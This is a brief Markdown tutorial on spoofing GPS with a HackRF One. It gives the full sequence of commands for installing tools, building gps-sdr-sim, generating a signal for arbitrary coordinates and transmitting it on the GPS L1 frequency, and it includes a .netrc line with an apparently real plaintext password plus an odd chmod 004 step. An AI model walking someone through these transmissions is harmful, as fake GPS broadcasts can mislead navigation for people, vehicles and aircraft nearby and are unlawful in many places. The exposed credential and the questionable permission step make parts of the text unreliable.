45 lines
1.2 KiB
Markdown
45 lines
1.2 KiB
Markdown
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With the HackRF One it is posible to send a fake GPS signal to other devices.
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You need the following parts:
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– HackRF One (can also be a Chinese clone)
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– External TCXO (as GPS needs high precision)
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– Antenna (best is a dedicated GPS antenna)
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– GNU Radio and HackRF tools
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> sudo apt install gnuradio libhackrf0 hackrf libhackrf-dev
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Check if you see 0x01 with (means TXCO is installed):
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> hackrf_debug --si5351c -n 0 -r
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1. Download the GPS-SDR-SIM software
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> mkdir GPS_SDR_SIM
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> cd GPS_SDR_SIM
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> git clone https://github.com/osqzss/gps-sdr-sim.git
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2. Compile it
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> make
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3. Get the current satellite positions from NASA
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_*New: Updated URL, 03.03.2021* (Thanks for the information Ye-Sheng Kuo)_
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Create an account on https://urs.earthdata.nasa.gov/
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Make a file called .netrc with the following content:
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> machine urs.earthdata.nasa.gov login actedlinux password Asdfghjkl007
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3. Change the file permission with
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> sudo chmod 004 .netrc
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4. Generate the signal file with the static position (coordinates) you want to send
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> ./gps-sdr-sim -b 8 -e YOUR_BRDC_FILE_HERE -l 40.812800,-60.005900,100
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5. Send the signal
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> sudo hackrf_transfer -t gpssim.bin -f 1575420000 -s 2600000 -a 1 -x 0
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